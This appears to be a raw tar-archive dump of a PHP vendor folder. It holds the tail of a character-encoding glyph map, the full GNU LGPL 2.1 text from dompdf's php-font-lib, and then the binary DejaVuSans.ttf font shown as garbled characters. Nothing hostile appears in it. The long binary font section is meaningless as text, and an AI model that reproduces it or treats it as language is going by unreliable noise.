!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!89 U+2030 perthousand
!8A U+0160 Scaron
!8B U+2039 guilsinglleft
!8C U+015A Sacute
!8D U+0164 Tcaron
!8E U+017D Zcaron
!8F U+0179 Zacute
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!99 U+2122 trademark
!9A U+0161 scaron
!9B U+203A guilsinglright
!9C U+015B sacute
!9D U+0165 tcaron
!9E U+017E zcaron
!9F U+017A zacute
!A0 U+00A0 space
!A1 U+02C7 caron
!A2 U+02D8 breve
!A3 U+0141 Lslash
!A4 U+00A4 currency
!A5 U+0104 Aogonek
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+015E Scedilla
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+017B Zdotaccent
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+02DB ogonek
!B3 U+0142 lslash
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00B8 cedilla
!B9 U+0105 aogonek
!BA U+015F scedilla
!BB U+00BB guillemotright
!BC U+013D Lcaron
!BD U+02DD hungarumlaut
!BE U+013E lcaron
!BF U+017C zdotaccent
!C0 U+0154 Racute
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+0102 Abreve
!C4 U+00C4 Adieresis
!C5 U+0139 Lacute
!C6 U+0106 Cacute
!C7 U+00C7 Ccedilla
!C8 U+010C Ccaron
!C9 U+00C9 Eacute
!CA U+0118 Eogonek
!CB U+00CB Edieresis
!CC U+011A Ecaron
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+010E Dcaron
!D0 U+0110 Dcroat
!D1 U+0143 Nacute
!D2 U+0147 Ncaron
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+0150 Ohungarumlaut
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+0158 Rcaron
!D9 U+016E Uring
!DA U+00DA Uacute
!DB U+0170 Uhungarumlaut
!DC U+00DC Udieresis
!DD U+00DD Yacute
!DE U+0162 Tcommaaccent
!DF U+00DF germandbls
!E0 U+0155 racute
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+0103 abreve
!E4 U+00E4 adieresis
!E5 U+013A lacute
!E6 U+0107 cacute
!E7 U+00E7 ccedilla
!E8 U+010D ccaron
!E9 U+00E9 eacute
!EA U+0119 eogonek
!EB U+00EB edieresis
!EC U+011B ecaron
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+010F dcaron
!F0 U+0111 dcroat
!F1 U+0144 nacute
!F2 U+0148 ncaron
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+0151 ohungarumlaut
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+0159 rcaron
!F9 U+016F uring
!FA U+00FA uacute
!FB U+0171 uhungarumlaut
!FC U+00FC udieresis
!FD U+00FD yacute
!FE U+0163 tcommaaccent
!FF U+02D9 dotaccent
vendor/dompdf/php-font-lib/LICENSE000066600000057452151150442750012643 0ustar00      GNU LESSER GENERAL PUBLIC LICENSE
           Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

          Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

      GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.

  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

          NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ttf000066600002706524151150442750015234 0ustar00@FFTMs���LGDEF�ώ�h�GPOSV��5���GSUB��@Y���MATH�28}�h>OS/2Y-v-��Vcmap�I&�cvt i9��fpgmq4vj��gasp��glyfa���{�head��	T�6hhea
��	T�$hmtx%�߭	Ua�kern�;	��?�loca`�(	��a�maxp�q
X` nameoM�
X�=postHȖT
���dprep;���h�=����)��)(0Y���������������������������	



  !%&&'KLLMOPTUst������?@@ABCJKQRWX���� )*,-���������������������������������ghhiijjkmnnoyz����!",-��������l��������������������������
�\DFLTzarab�armn�brai�cans�cher�cyrl�geor�grekhanihebrkana*lao 6latnFmath�nko �ogam�runr�tfng�thai���KUR SND URD ����������MKD SRB ��������������4ISM 4KSM 4LSM 4MOL 4NSM 4ROM 4SKS 4SSM 4��������������	kern8kern>markFmarkTmark\markdmkmkjmkmkrmkmkx	


"*2:BLT\dlt|��������fF
�f!<":#�8�9�;�=4CC�G X�r s^�0&:�����vy~vy~��*06<BHNTZ`flrx~�����:�:�::��:�r:�	��4	�4�	`Ltuwxz{|}����������Ltuwxz{|}����������RX^djpv|��������������������������������$�l��JGH
����N>X &,����lw�lw�lw�fn���@CDEFIRW &,28�l`�l~�l~�l`�l~�l`Z&�#HNTZ`flrx~��������������������������������������������������������t��t������;������8��8��8���������������������������������	������!"	������	��
������ !���������������������
"(.4:@F���������������������������������B��:v|���������������������$*06<BHNTZ`flrx~��������������h�h�h�=���D������h�h�����h�V�D����h�h�=���D�D������nnnn�����h�h��������������������������������������	!��#��)""0$$1&,2��9����������������%",,��78�����$*06<BHNTZ`flrx~��������������������� &,�{�{�{��������{�{�{�{�{�{�{�����{�{������{�{�{��{�����{�{��������{�{�{�{�{�{�{�{�{�{�{�{���$6HZl~�c���jc���jc���jc���jc����c����c���jc���j��&vy~>DJPV\bhntz�����������������<w��� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������		
				"	(	.	4	:	@	F	L	R	X	^	d	j	p	v	|	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~����������U���,����!���8�|���Q�'�n������������p����p�j��j��j,�v,��,�v�j�j��X��X��X��X�D[�j[�j����,�� �8��� �8��>��>�j���p�����j�����j��j�����^��j�����j���,��,��,��,��,��,��,���j�^�p�p�j��j�j�j���������X��X��X��X��X��[�j�� �8��p��p �8��v �8������ �j �j �j �8 �8 �v �j �j �j �p �D �j��>��>��>��D�>�>��> �j,��������p��p���jI�^��`��k/���#��e��YYY������+��+��������+��+��������+��+����j��j+��+����j��j+��+����j��j+��+�� �8 �8�j�j �8 �8�j�j,��,��X�X�,��,��X�X�,��,��X�X�,��,��X�X����j�j�j�j�j�j���� �j �j,�j,�j �j �j,�j,�j �D �D��v��v �j �j,�j,�j�>��>�+��+�� �jR���j� �8 �8,�j,�j������������+��+��+��+����p��p+��+��,��,��,����,�,��,��,��,��,��,��,��,��,��,���2����������������p��p+��+��������p��p+��+���j�j��j��j+��+����j��j+��+��,��,��X��X��,��,��X��X��,��,��X��X���j�j�j�j����X��X����j��jX��X����j��jX��X��&�j&�jX��X��&�j&�j[�j[�jS�jS�j[�j[�jS�jS�j�����X��������X��� �8 �8�j�j�������j�j �8 �8,�j,�j��>��>S��S����&�j&�j�>�+��+���j�j�j�����p��p������+��+����j+��+�� �8�j�j����j�j+��+����^+��+����j+��+��,��X��X��,��X��X��,��X��X��,��X�X�����>S��S����p+��+����jIII���^^^������```������kkk///���������###������eee������YYYYYYYYY�^�p�p�j�j�����X���p�pX������X������X�� �p �pX��&�j&�j[�jS�jS�j��X�����p����p����v������j�j����j�j �j��j��j �j,�j,�j �8,�j,�j �v������ �j,�j,�j �p������ �j,�j,�j��>S��S����>S��S���+��I����+��+���c+��+���+��+��
'DPs��B��D���V�k�3=�?P�lt�vv�����D"&vy~BHNTZ`flrx~����������������������06<BHNTZ`flrx~���������c��0�0�0�080�00q=i0�0�0�0�10�f0�0j=�0P'-/35578
:;=A���0���$6HZl~�cr�cr�cr��cr��cr��cr��cr��cr���� Ltuwxz{|}�����������Z`flrx~����������������`�������������`��������L��\������������ &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������		
				"	(	.	4	:	@	F	L	R	X	^	d	j	p	v	|	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|����������������R``S`�4��r�r���L�R�L��������������X X X X [r[r�~�x,��L�L��������R���������L���L���R�����L����������������@�����@�����������x����������������X X X X X [r�r�L�L�L�L�L�L�L�L�x�x�x99���x�x�x�x�x�x�4�4�f������_����RL�����F�����������R�I���^�����`������n����������#�������������Y����Y�Y�����+�+�����+�+�����+�+��L�L++�L�L++����+�+��L�L�@��L�L�@�����X�X�����X�X�����X�X�����X�X��������������@�@�����x�x�x�x���x�x�����x�x�����x�xll�����_�e+�+�RLR �L� 99���F�F��������������X�+�+�+�+���XV+�+�,�,�,:��,�,�,�,:,:,�,�,,,:,:�L��������rr�X+F+Frr����+�+��L&L�R�R++�L�L++����X�X�����X�X�����X~X~����������������X X ����X X R�R�X X & & X X &�&�[r[rSrSr[r[rSrSr�~���~���x�~�x�~�L�L�F��L�R�F���������SrSr���R&R&R����++�R&R�L� ������XV��X�+�+���+�+��L�L��R�L�+�+��R++��++�X�X���XxXx��XxXx��X~X~�����4S4S4��+�+���&R���I�I�I�������^�^�^�������������`�`�`����������������n�n�n����������������������������#�#�#�������������������������������������Y�Y�Y����������Y�Y�Y�Y�Y�Y������@��������������X RRX ����X R�R�X & & X X�X�[rSrSr�x�r�x�L�L��L�F��L�L��R�F��R�@��xxxxx�x��9�������x�����x�����xff�4S4S4�fSfSf�SrSr��++��++��+�+�((22;;Ps��'��)�x�V�k�3=�?P�lt�vv�����D Ltuwxz{|}�����������z����������������������
"(�`������������{{{{{{{{�`���������<BHNTZ`flrx~�����������������]x��x�@�[")�@>E�"~~��x2��x::#=bcGHJ">@FLRX^djpv|��������������������]kxy�y�y�xy�z[f"w)h>yEy`P�["~[~t�`�zxy2{`����ux�JJ:�:�#=QQ``bc@CDEFIRSTUVW28>DJPV\bhnttbbbbt`~~`~` Z��R�	������	��
������!"#�������������������$*06<BHNTZ���������������������������������������������������������������������������������������������������������28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz�������������������������������������������������������������������������������������������������������������������������������������������������������������������%$=D]��4��5��6��8��:();AA=HH>QR?YYAaaBy{CFGHI**J77KTTLM��N		O��Y��\��^��_��acg'r)-|25�<H�LP�SS�hj
��bNj$*06<J�m�s}�P������-			��
�{�{���Y������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|�������������L-�./++'�����f�s.}////'s�������////s}\'�/'����R///��RJs�R//'s{y5D;�+�.�/}�RY$&'(+,01268=DFGHKLPQRVX]����������������������-HQRYayz{������*7T	,	-	�	���$%BCFGHOS���
�L�rx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�������������L���\/.�R��s�'�'}�s����r�J��f�;��R��R���s��R��R%�}^Gb`�R////'�}sJ������f���////���Rss�};�\f'�7�R/'�z`�R����R///�������.�R�R'}r`�R�T����T�RTcRRJ@@��Rj�Rj�R�b�Rb}�R���R����R�R��R�R��R��R�s����R555�R�Ra�R�t;Q'�R�R�R�R�R�R�R}}^G^d�R�R�R�:�:�R'aH�����R��R_��R�:���R�G�R� �R.�R~�RJ}'/'}��'}^T�TT@�X�}������Tg^G�X^��R�f�f���f���tf�t�f�//��LBR�Rf��,4$�R'��_�z�Rf4���L���}�`�R�e����T�����'s�R���^�G^�5s���R��R/n�R��Rw�R��RJ�V�1����v�v���v�R������;�n���R��R'��R��R
�R��R��R��\��R����}�%fO����L5s/���<\���R�&��R�x9��\��w��������R��}�R`$=
D]$��>��B��C��D��I��J��K��M��O��P��X��Z

